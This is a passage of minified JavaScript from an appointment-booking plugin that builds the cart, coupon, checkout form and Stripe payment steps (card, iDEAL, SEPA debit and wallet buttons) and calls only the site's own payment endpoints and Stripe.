class=\"column-price\">'+_e(i.price)+\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\";return t+='\u003Ctr class=\"mpa-order-subtotal\">',t+='\u003Cth class=\"column-subtotal\">'+u(\"Subtotal\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+_e(e.subtotal)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftbody>\",t+=\"\u003Ctfoot>\",e.coupon&&(t+='\u003Ctr class=\"mpa-order-coupon\">',t+='\u003Cth class=\"column-coupon\">',t+=u(\"Coupon: %s\",\"motopress-appointment\").replace(\"%s\",e.coupon.code),t+=\"\u003C\u002Fth>\",t+='\u003Ctd class=\"column-price\">',t+=_e(-e.coupon.amount),t+=\" \",t+='\u003Ca href=\"#\" class=\"mpa-remove-coupon\">'+u(\"Remove\",\"motopress-appointment\")+\"\u003C\u002Fa>\",t+=\"\u003C\u002Ftd>\",t+=\"\u003C\u002Ftr>\"),t+='\u003Ctr class=\"mpa-order-total\">',t+='\u003Cth class=\"column-total\">'+u(\"Total\",\"motopress-appointment\")+\"\u003C\u002Fth>\",t+='\u003Cth class=\"column-price\">'+_e(e.total)+\"\u003C\u002Fth>\",t+=\"\u003C\u002Ftr>\",t+=\"\u003C\u002Ftfoot>\",t+=\"\u003C\u002Ftable>\",t}function ve(e,t={}){let i=m().settings();t=jQuery.extend({currency_symbol:i.getCurrencySymbol(),currency_position:i.getCurrencyPosition(),decimal_separator:i.getDecimalSeparator(),thousand_separator:i.getThousandSeparator(),decimals:i.getDecimalsCount(),literal_free:!0,trim_zeros:!0},t);let s=function(e,t=0,i=\".\",s=\",\"){let a,r,n,o,l,h=\"\";return e\u003C0&&(h=\"-\",e*=-1),a=parseInt(e=(+e||0).toFixed(t))+\"\",(r=a.length)>3?r%=3:r=0,l=r?a.substr(0,r)+s:\"\",n=a.substr(r).replace(\u002F(\\d{3})(?=\\d)\u002Fg,\"$1\"+s),o=t?i+Math.abs(e-a).toFixed(t).replace(\u002F-\u002F,0).slice(2):\"\",h+l+n+o}(Math.abs(e),t.decimals,t.decimal_separator,t.thousand_separator),a=\"mpa-price\";if(0==e&&(a+=\" mpa-zero-price\"),0==e&&t.literal_free)a+=\" mpa-price-free\",s=g(\"Free\",\"Zero price\",\"motopress-appointment\");else{t.trim_zeros&&(s=function(e,t=null){null==t&&(t=m().settings().getDecimalSeparator());let i=new RegExp(\"\\\\\"+t+\"0+$\");return e.replace(i,\"\")}(s));let i='\u003Cspan class=\"mpa-currency\">'+t.currency_symbol+\"\u003C\u002Fspan>\";switch(t.currency_position){case\"before\":s=i+s;break;case\"after\":s+=i;break;case\"before_with_space\":s=i+\"&nbsp;\"+s;break;case\"after_with_space\":s=s+\"&nbsp;\"+i}e\u003C0&&(s=\"-\"+s)}return'\u003Cspan class=\"'+a+'\">'+s+\"\u003C\u002Fspan>\"}function _e(e,t={}){return t.literal_free=!1,ve(e,t)}function Se(e,t,i={}){let s=\"\u003Cselect\"+ge(i)+\">\";return s+=Pe(e,t),s+=\"\u003C\u002Fselect>\",s}function we(e,t,i=!1){let s=\"\";return s='\u003Coption value=\"'+e+'\"'+(i?' selected=\"selected\"':\"\")+\">\",s+=t,s+=\"\u003C\u002Foption>\",s}function Pe(e,t){let i=\"\";for(let s in e)i+=we(s,e[s],s==t);return i}function Ce(e,t,i,s){let a=\"\";const r=String(s);for(const[e,i]of Object.entries(t))a+=we(e,i,e===r);for(let e of i)a+=we(String(e.id),e.name,String(e.id)===r);e.empty().append(a).val(r)}function ke(e){let{width:t,height:i}=m().settings().getThumbnailSize();return\"\u003Cimg\"+ge({width:t,height:i,src:e,class:\"attachment-thumbnail size-thumbnail\"})+\">\"}class $e extends pe{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(\".mpa-cart\"),this.$items=this.$cart.find(\".mpa-cart-items\"),this.$itemTemplate=this.$cart.find(\".mpa-cart-item-template\"),this.$noItems=this.$element.find(\".no-items\"),this.$totalPrice=this.$element.find(\".mpa-cart-total-price\"),this.$buttonNew=this.$buttons.find(\".mpa-button-new\")}theId(){return\"cart\"}addListeners(){super.addListeners(),this.$buttonNew.on(\"click\",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass(\"mpa-cart-item-template\"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),i=e.getDate(),s=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(i,s)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(\".mpa-cart-item\").remove(),this.$noItems.removeClass(\"mpa-hide\"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),i=e.getMaxCapacity();var s,a,r;e.setCapacity((s=e.getCapacity(),a=t,r=i,Math.max(a,Math.min(s,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,i)=>{let s='.mpa-cart-item[data-id=\"'+i+'\"]',a=this.$items.find(s);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=fe(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass(\"mpa-hide\"),t}updateItem(e,t){let i=fe(t,this.$itemTemplate);return e.replaceWith(i),i}bindListeners(e){let t=e.data(\"id\"),i=this.cart.getItem(t),s=e.find(\".mpa-reservation-capacity select, .mpa-reservation-clients select\"),a=e.find(\".mpa-reservation-price\"),r=e.find(\".mpa-button-remove, .mpa-button-edit-or-remove\"),n=e.find(\".mpa-button-edit, .mpa-button-edit-or-remove\");s.on(\"change\",(t=>{let s=W(t.target.value);i.setCapacity(s);let r=i.getBookingVariantForCapacity(s),n=r.employeeId,o=r.locationId;if(i.getEmployeeId()!=n)i.setEmployee(n,!1),i.setLocation(o,!1),e=this.updateItem(e,i),this.bindListeners(e);else{let e=i.service.getPrice(n,s);a.html(ve(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on(\"click\",(i=>{i.stopPropagation(),e.remove();let s=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass(\"mpa-hide\"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent(\"mpa_remove_from_cart\",{detail:{cartItem:s,currencyCode:m().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on(\"click\",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(_e(this.cart.getTotalPrice()))}isMultibookingEnabled(){return m().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger(\"mpa_booking_step_new\",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent(\"mpa_begin_checkout\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}class Te{constructor(e,t){this.cart=t,this.$element=e,this.$couponCode=e.find('[name=\"coupon_code\"]'),this.$applyButton=e.find(\".mpa-apply-coupon-button\"),this.$messageHolder=e.find(\".mpa-message-wrapper\"),this.$preloader=e.find(\".mpa-preloader\"),this.$parentForm=e.parents(\".mpa-booking-step\").first(),this.addListeners(),this.reset()}addListeners(){this.$couponCode.on(\"keydown\",(e=>{\"Enter\"===e.code&&this.onEnter(e)})),this.$applyButton.on(\"click\",this.onSubmit.bind(this))}onEnter(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(e.target.value)}onSubmit(e){e.preventDefault(),e.stopPropagation(),this.applyCouponCode(this.$couponCode.val())}applyCouponCode(e){this.clearMessage(),e?(this.pauseAll(),se().coupon().findByCode(e).then((e=>{e.isApplicableForCart(this.cart)?(this.cart.setCoupon(e),this.reset(),this.triggerApplied(e),this.setMessage(u(\"Coupon code applied successfully.\",\"motopress-appointment\"))):this.setMessage(u(\"Sorry, your booking is not eligible for this coupon.\",\"motopress-appointment\")),this.unpauseAll()}),(e=>{this.setMessage(e.message),this.unpauseAll()}))):this.setMessage(u(\"Coupon code is empty.\",\"motopress-appointment\"))}reset(){this.$couponCode.val(\"\"),this.clearMessage(),0===this.cart.getTotalPrice()?(this.disable(),this.$element.addClass(\"mpa-hide\")):(this.enable(),this.$element.removeClass(\"mpa-hide\"))}disable(){this.$couponCode.prop(\"disabled\",!0),this.$applyButton.prop(\"disabled\",!0)}enable(){this.$couponCode.prop(\"disabled\",!1),this.$applyButton.prop(\"disabled\",!1)}pauseAll(){this.disable(),this.showPreloader(),this.$parentForm.trigger(\"mpa_booking_step_disable\")}unpauseAll(){this.enable(),this.hidePreloader(),this.$parentForm.trigger(\"mpa_booking_step_enable\")}triggerApplied(e){this.$parentForm.trigger(\"mpa_booking_coupon_applied\",{coupon:e})}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}}function Ie(e){const s=jQuery(\"\u003Cspan\u002F>\",{id:e.attr(\"id\")+\"_error\",class:\"mpa-phone-field-error mpa-hide\",text:u(\"Phone number is invalid.\",\"motopress-appointment\")});e.after(\"\u003Cbr>\",s);const a=i(e[0],{separateDialCode:!0,initialCountry:t.settings.country,hiddenInput:e.attr(\"name\"),utilsScript:t.urls.plugin+\"assets\u002Fjs\u002Fintl-tel-input-17.0.19\u002Fjs\u002Futils.js\"});a.promise.then((()=>{e.val()&&r(),e.on(\"countrychange\",(e=>{r()})),e.on(\"input\",(e=>{r()}))}));const r=()=>{a.isValidNumber()?(jQuery(\"input[type='hidden'][name='\"+e.attr(\"name\")+\"']\").val(a.getNumber(intlTelInputUtils.numberFormat.E164)),e.removeClass(\"mpa-phone-number--invalid\"),s.addClass(\"mpa-hide\")):(e.addClass(\"mpa-phone-number--invalid\"),s.removeClass(\"mpa-hide\"))};return a}window.mpa_intl_tel_input=Ie;class De extends pe{setupProperties(){super.setupProperties(),this.name=\"\",this.email=\"\",this.phone=\"\",this.notes=\"\",this.acceptTerms=!1,this.createAccount=!1,this.$checkoutForm=this.$element.find(\".mpa-checkout-form\"),this.$name=this.$element.find(\".mpa-customer-name\"),this.$email=this.$element.find(\".mpa-customer-email\"),this.$phone=this.$element.find(\".mpa-customer-phone\"),this.$notes=this.$element.find(\".mpa-customer-notes\"),this.$order=this.$element.find(\".mpa-order\"),wp.hooks.doAction(\"mpa_step_checkout_form\",this.$checkoutForm),0!==this.$phone.length&&(this.phoneValidator=Ie(this.$phone)),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.$messageHolder=this.$element.find(\".mpa-message\").first(),this.$preloader=this.$element.find(\".mpa-loading\"),m().settings().isAllowCustomerAccountCreation()&&(this.$createAccount=this.$element.find(\".mpa-customer-create-account\"),this.$createAccountDescription=this.$element.find(\".mpa-customer-create-account-description\"),this.setProperty(\"createAccount\",this.$createAccount.prop(\"checked\"))),t&&t.currentCustomer&&t.currentCustomer.name&&(this.setProperty(\"name\",t.currentCustomer.name),this.$name.val(t.currentCustomer.name)),t&&t.currentCustomer&&t.currentCustomer.email&&(this.setProperty(\"email\",t.currentCustomer.email),this.$email.val(t.currentCustomer.email)),t&&t.currentCustomer&&\"undefined\"!==t.currentCustomer.phone&&(this.setProperty(\"phone\",t.currentCustomer.phone),this.phoneValidator.setNumber(t.currentCustomer.phone),this.$phone.trigger(\"input\")),this.service=null,this.couponSection=null}theId(){return\"checkout\"}propertiesSchema(){return{name:{type:\"string\",default:\"\"},email:{type:\"string\",default:\"\"},phone:{type:\"string\",default:\"\"},notes:{type:\"string\",default:\"\"},acceptTerms:{type:\"bool\",default:!1},$createAccount:{type:\"bool\",default:!1}}}addListeners(){super.addListeners(),this.$checkoutForm.on(\"submit\",(e=>!1)),this.$name.on(\"input\",(e=>this.setProperty(\"name\",e.target.value))),this.$email.on(\"input\",(e=>this.setProperty(\"email\",e.target.value))),this.$phone.on(\"input\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$phone.on(\"countrychange\",(e=>{this.setProperty(\"phone\",\"\"),this.phoneValidator.isValidNumber()&&this.setProperty(\"phone\",this.phoneValidator.getNumber(intlTelInputUtils.numberFormat.E164))})),this.$notes.on(\"input\",(e=>this.setProperty(\"notes\",e.target.value))),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),m().settings().isAllowCustomerAccountCreation()&&this.$createAccount.on(\"input\",(e=>{this.setProperty(\"createAccount\",e.target.checked),e.target.checked?this.$createAccountDescription.removeClass(\"mpa-hide\"):this.$createAccountDescription.addClass(\"mpa-hide\")})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>this.updateOrder()))}load(){this.couponSection?this.couponSection.reset():m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.cart.hasCoupon()&&this.cart.testCoupon(),this.updateOrder(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){wp.hooks.doAction(\"mpa_step_checkout_reset\",this.$checkoutForm),this.$notes.val(\"\"),this.resetProperty(\"notes\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),m().settings().isAllowCustomerAccountCreation()&&(this.clearMessage(),this.$createAccount.prop(\"checked\",!1),this.resetProperty(\"createAccount\")),this.couponSection&&this.couponSection.reset()}updateOrder(){if(0===this.$order.length)return;this.$order.empty(),this.$order.html(be(this.cart.getOrder()));let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this))}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.updateOrder()}isValidInput(){return this.isValidName()&&this.isValidEmail()&&this.isValidPhone()&&this.isValidAcceptTerms()&&wp.hooks.applyFilters(\"mpa_step_checkout_form_valid\",!0,this.$checkoutForm)}isValidName(){return!(this.$name.length>0&&this.$name.is(\"[required]\"))||\"\"!==this.name}isValidEmail(){return!(this.$email.length>0&&this.$email.is(\"[required]\"))||\"\"!==this.email&&!!this.email.match(\u002F.+@.+\u002F)}isValidPhone(){return!(this.$phone.length>0&&this.$phone.is(\"[required]\"))||this.phoneValidator.isValidNumber()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||m().settings().isPaymentsEnabled()||this.acceptTerms}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}setMessage(e){this.$messageHolder.html(e).removeClass(\"mpa-hide\")}clearMessage(){this.$messageHolder.html(\"\").addClass(\"mpa-hide\")}showPreloader(){this.$preloader.removeClass(\"mpa-hide\")}hidePreloader(){this.$preloader.addClass(\"mpa-hide\")}async maybeSubmit(){if(wp.hooks.hasFilter(\"mpa_step_checkout_maybe_submit\")&&await wp.hooks.applyFilters(\"mpa_step_checkout_maybe_submit\",{},this.$checkoutForm),this.couponSection&&this.couponSection.disable(),this.cart.setCustomerDetails({name:this.name,email:this.email,phone:this.phone,notes:this.notes,acceptTerms:this.acceptTerms}),this.createAccount&&\"\"!==this.email){this.showPreloader();return c(\"\u002Fcustomers\u002Fcreate\",{name:this.name,email:this.email,phone:this.phone}).then((e=>{this.hidePreloader(),this.clearMessage()}),(e=>{throw this.hidePreloader(),this.setMessage(e),e}))}}}class Ee{setupProperties(){this.gatewayId=\"basic\",this.settings=this.getDefaults(),this.$mountWrapper=null,this.loadPromise=null,this.isEnabled=!1,this.isMounted=!1,this.haveErrors=!1}constructor(e,t){this.setupProperties(),this.$mountWrapper=e,this.cart=t}load(){return this.addListeners(),this.loadPromise=Promise.resolve(this),this.loadPromise}addListeners(){}onCartChange(e){}mount(e){}ready(){return this.loadPromise}enable(){this.isEnabled||(this.isMounted||(this.mount(this.$mountWrapper),this.isMounted=!0),this.$mountWrapper.removeClass(\"mpa-hide\"),this.isEnabled=!0)}disable(){this.isEnabled&&(this.$mountWrapper.addClass(\"mpa-hide\"),this.isEnabled=!1)}isValid(){return!this.haveErrors}processPayment(e,t){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails})}getDefaults(){return{country:m().settings().getCountry(),redirect_url:{payment_received:m().settings().getReservationReceivedPageUrl(),failed_transaction:m().settings().getFailedTransactionPageUrl()}}}reset(){}}class Ae extends Ee{enable(){}}class Me{setupProperties(){this.methods=null,this.uid=\"\",this.paymentMethods=new M,this.selectedMethod=\"\",this.$mountWrapper=null,this.$errorsWrapper=null,this.$gatewayPreloader=null,this.mountedMethods=[]}constructor(e){this.setupProperties(),this.methods=e,this.uid=B(),this.addPaymentMethods(this.methods)}mountedMethod(){let e=!1;Object.entries(this.mountedMethods).forEach(((t,i)=>{i||(e=!0)})),e&&this.$gatewayPreloader.addClass(\"mpa-hide\")}addPaymentMethods(e){for(const t in e)this.paymentMethods.includesKey(t)||(this.paymentMethods.push(t,{$nav:null,$fields:null}),this.selectedMethod||(this.selectedMethod=t))}isMounted(){return null!==this.$mountWrapper}mount(e){e.append(this.render()),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),this.$gatewayPreloader.removeClass(\"mpa-hide\"),this.paymentMethods.forEach(((t,i,s)=>{t.$nav=e.find(\".mpa-stripe-payment-method.\"+s),t.$fields=e.find(\".mpa-stripe-payment-fields.\"+s);const a=this.methods[s].getControl();if(null!==a){const e=this.getElementSelector(s);this.mountedMethods[s]=!1,a.mount(e),a.on(\"ready\",(t=>{this.mountedMethod(t),document.querySelector(e).classList.remove(\"mpa-preloader-skeleton-pulsate\")}))}\"card\"===s&&this.methods.card.isCanMakePaymentRequest().then((e=>{const t=this.getElementSelector(\"payment-request-button\"),i=document.querySelector(t);i&&(e?(this.mountedMethods.payment_request_button=!1,this.methods.card.paymentRequestButton.mount(t),this.methods.card.paymentRequestButton.on(\"ready\",(e=>{this.mountedMethod(\"payment_request_button\"),i.classList.remove(\"mpa-preloader-skeleton-pulsate\")}))):(i.classList.add(\"mpa-hide\"),document.querySelector(\".mpa-stripe-payment-request-button-separator\").classList.add(\"mpa-hide\")))}))})),e.find('input[name=\"stripe_payment_method\"]').on(\"change\",this.onPaymentMethodChange.bind(this)),this.$mountWrapper=e,this.$errorsWrapper=e.find(\".mpa-errors\")}onPaymentMethodChange(e){let t=null;switch(this.selectedMethod){case\"payment\":case\"card\":case\"ideal\":case\"sepa_debit\":t=this.methods[this.selectedMethod].getControl()}null!==t&&t.clear(),this.selectPaymentMethod(e.target.value)}selectPaymentMethod(e){e!==this.selectedMethod&&(this.togglePaymentMethod(this.selectedMethod,!1),this.togglePaymentMethod(e,!0),this.selectedMethod=e)}togglePaymentMethod(e,t){if(this.isMounted()&&this.paymentMethods.includesKey(e)){let i=this.paymentMethods.find(e);i.$nav.toggleClass(\"active\",t),i.$fields.toggleClass(\"mpa-hide\",!t)}}getElementSelector(e){return\"sepa_debit\"===e&&(e=\"iban\"),\"#mpa-stripe-\"+e+\"-element-\"+this.uid}render(){let e=\"\";e+='\u003Csection class=\"mpa-stripe-payment-container\">',this.paymentMethods.length>1&&(e+=this.renderNavigation());for(let t of this.paymentMethods.keys)e+=this.renderFields(t);return e+='\u003Cdiv class=\"mpa-errors\">\u003C\u002Fdiv>',e+=\"\u003C\u002Fsection>\",e}renderNavigation(){let e=\"\";e+='\u003Cnav class=\"mpa-stripe-payment-methods\">',e+=\"\u003Cul>\";for(let t of this.paymentMethods.keys){let i=t===this.selectedMethod;e+='\u003Cli class=\"mpa-stripe-payment-method '+t+(i?\" active\":\"\")+'\">',e+=\"\u003Clabel>\",e+='\u003Cinput type=\"radio\" name=\"stripe_payment_method\" value=\"'+t+'\"'+(i?' checked=\"checked\"':\"\")+\">\",e+=\" \"+this.methods[t].title,e+=\"\u003C\u002Flabel>\",e+=\"\u003C\u002Fli>\"}return e+=\"\u003C\u002Ful>\",e+=\"\u003C\u002Fnav>\",e}renderFields(e){let t=\"\";switch(t+='\u003Cdiv class=\"mpa-stripe-payment-fields '+e+(e===this.selectedMethod?\"\":\" mpa-hide\")+'\">',t+=\"\u003Cfieldset>\",e){case\"payment\":t+=this.renderPaymentFields();break;case\"card\":t+=this.renderCardFields();break;case\"ideal\":t+=this.renderIdealFields();break;case\"sepa_debit\":t+=this.renderSepaDebitFields();break;default:t+=this.renderRedirectNotice()}return t+=\"\u003C\u002Ffieldset>\",\"sepa_debit\"===e&&(t+='\u003Cp class=\"notice\">',t+=u(\"By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited.\",\"motopress-appointment\").replace(\"%s\",m().settings().getBusinessName()),t+=\"\u003C\u002Fp>\"),t+=\"\u003C\u002Fdiv>\",t}renderPaymentFields(){let e=\"\";return e+='\u003Cdiv id=\"mpa-stripe-payment-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-element\">\u003C\u002Fdiv>',e}renderCardFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-card-element-'+this.uid+'\">',e+=u(\"Credit or debit card\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",this.methods.card.isEnabledWallets()&&(e+='\u003Cdiv id=\"mpa-stripe-payment-request-button-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-payment-request-button-element mpa-preloader-skeleton-pulsate StripeElement\">\u003C\u002Fdiv>',e+='\u003Cdiv class=\"mpa-stripe-payment-request-button-separator\">'+u(\"or\",\"motopress-appointment\")+\"\u003C\u002Fdiv>\"),e+='\u003Cdiv id=\"mpa-stripe-card-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-card-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderIdealFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-ideal-element-'+this.uid+'\">',e+=u(\"Select iDEAL Bank\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-ideal-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-ideal-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderSepaDebitFields(){let e=\"\";return e+='\u003Clabel for=\"mpa-stripe-iban-element-'+this.uid+'\">',e+=u(\"IBAN\",\"motopress-appointment\"),e+=\"\u003C\u002Flabel>\",e+='\u003Cdiv id=\"mpa-stripe-iban-element-'+this.uid+'\" class=\"mpa-stripe-element mpa-stripe-iban-element mpa-preloader-skeleton-pulsate\">\u003C\u002Fdiv>',e}renderRedirectNotice(){let e=\"\";return e+='\u003Cp class=\"notice\">',e+=u(\"You will be redirected to a secure page to complete the payment.\",\"motopress-appointment\"),e+=\"\u003C\u002Fp>\",e}showError(e){this.isMounted()&&this.$errorsWrapper.html(e).removeClass(\"mpa-hide\")}hideErrors(){this.isMounted()&&this.$errorsWrapper.addClass(\"mpa-hide\").html(\"\")}reset(){let e=this.paymentMethods.firstKey();this.selectPaymentMethod(e)}}class xe extends Ee{load(){return this.loadPromise=h(\"\u002Fpayments\u002Fsettings\",{gateway_id:this.gatewayId}).catch((e=>console.error(e.message)||{})).then((e=>(jQuery.extend(this.settings,e),this))),this.loadPromise}}class Fe{name=null;title=null;control=null;api=null;elements=null;constructor(e,t,i){if(this.api=e,this.settings=i,this.elements=t,new.target===Fe)throw new Error(\"Cannot construct Abstract instances directly\");if(void 0===this.setupProperties)throw new Error(\"Must override method: setupProperties()\");if(this.setupProperties(),null===this.name||void 0===this.name)throw new Error('\"name\" must be defined in a non-abstract payment method class');if(null===this.title||void 0===this.title)throw new Error('\"title\" must be defined in a non-abstract payment method class')}createControl(){return null}getControl(){return this.control||(this.control=this.createControl()),this.control}reset(){null!==this.control&&this.control.clear()}createPaymentMethodData(e,t,i){let s={type:this.name,billing_details:{name:e.padEnd(3,\" \"),email:t,phone:i}};return null!==this.control&&(s[this.name]=this.control),s}createPaymentMethod(e){return this.api.createPaymentMethod(e)}confirmPayment(e,t){throw new Error(\"Abstract Method has no implementation\")}processPayment(e,t,i){const s=e.getCustomer(),a=this.createPaymentMethodData(s.name,s.email,s.phone);return this.createPaymentMethod(a).then((t=>{if(t.error)throw new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return\"requires_action\"==e.status&&\"redirect_to_url\"==e.next_action.type&&(t.redirect_url=e.next_action.redirect_to_url.url),t})).catch((e=>{throw console.error(\"Unable to process payment.\",e.message),null!=i.error_handler&&i.error_handler(e.message),e}))}}class Be extends Fe{setupProperties(){this.name=\"payment\",this.title=u(\"Payment methods\",\"motopress-appointment\"),this.customerDetails={name:\"\",email:\"\",phone:\"\"}}provideCart(e){this.cart=e}getCustomerDetails(){return this.cart?this.cart.getCustomer():{name:\"\",email:\"\",phone:\"\"}}confirmPayment(e,t){const i=this.getCustomerDetails(),s=this.elements;return new Promise(((e,t)=>{s.submit().then((({error:i})=>{if(i){const e=i.message||\"\";t(new Error(e))}else e()})).catch((e=>{t(e)}))})).then((()=>{var a,r,n;return this.api.confirmPayment({elements:s,clientSecret:e,confirmParams:{payment_method_data:{billing_details:{name:null!==(a=i?.name)&&void 0!==a?a:null,email:null!==(r=i?.email)&&void 0!==r?r:null,phone:null!==(n=i?.phone)&&void 0!==n?n:null,address:{line1:null,line2:null,city:null,state:null,country:null,postal_code:null}}},return_url:t},redirect:\"if_required\"})})).catch((e=>{throw console.error(\"Error during payment confirmation:\",e),e}))}processPayment(e,t,i){return c(\"\u002Fpayments\u002Fprepare\",{payment_details:e.paymentDetails}).then((({client_secret:e,return_url:t})=>this.confirmPayment(e,t).then((e=>{if(e.error)throw new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};if(\"requires_action\"===e.status){if(\"redirect_to_url\"!==e.next_action.type)throw new Error(\"The user has cancelled or failed to complete the payment.\");t.redirect_url=e.next_action.redirect_to_url.url}return t})).catch((e=>{if(e.message)throw console.error(\"Unable to process payment.\",e.message),e;throw new Error(\"Unable to process payment.\")}))}createControl(){const e=this.getCustomerDetails();return this.elements.create(\"payment\",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?\"never\":\"auto\",email:e?.email?\"never\":\"auto\",phone:e?.phone?\"never\":\"auto\",address:{line1:\"auto\",line2:\"auto\",city:\"auto\",state:\"auto\",country:\"auto\",postalCode:\"auto\"}}}})}}class Le extends Fe{setupProperties(){this.name=\"card\",this.title=u(\"Card\",\"motopress-appointment\"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u(\"Total\",\"motopress-appointment\"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return[\"apple_pay\",\"google_pay\",\"link\"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const i=t.toLowerCase().replace(\u002F([-_][a-z])\u002Fg,(e=>e.toUpperCase().replace(\"-\",\"\").replace(\"_\",\"\")));e.push(i)}})),e}createPaymentRequestButton(){return this.elements.create(\"paymentRequestButton\",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:\"50px\"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}proccessPaymentRequestButtonHandler(e,t){const i=e.getCustomer();return this.api.createPaymentMethod({type:\"card\",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:i.name,email:i.email,phone:i.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let 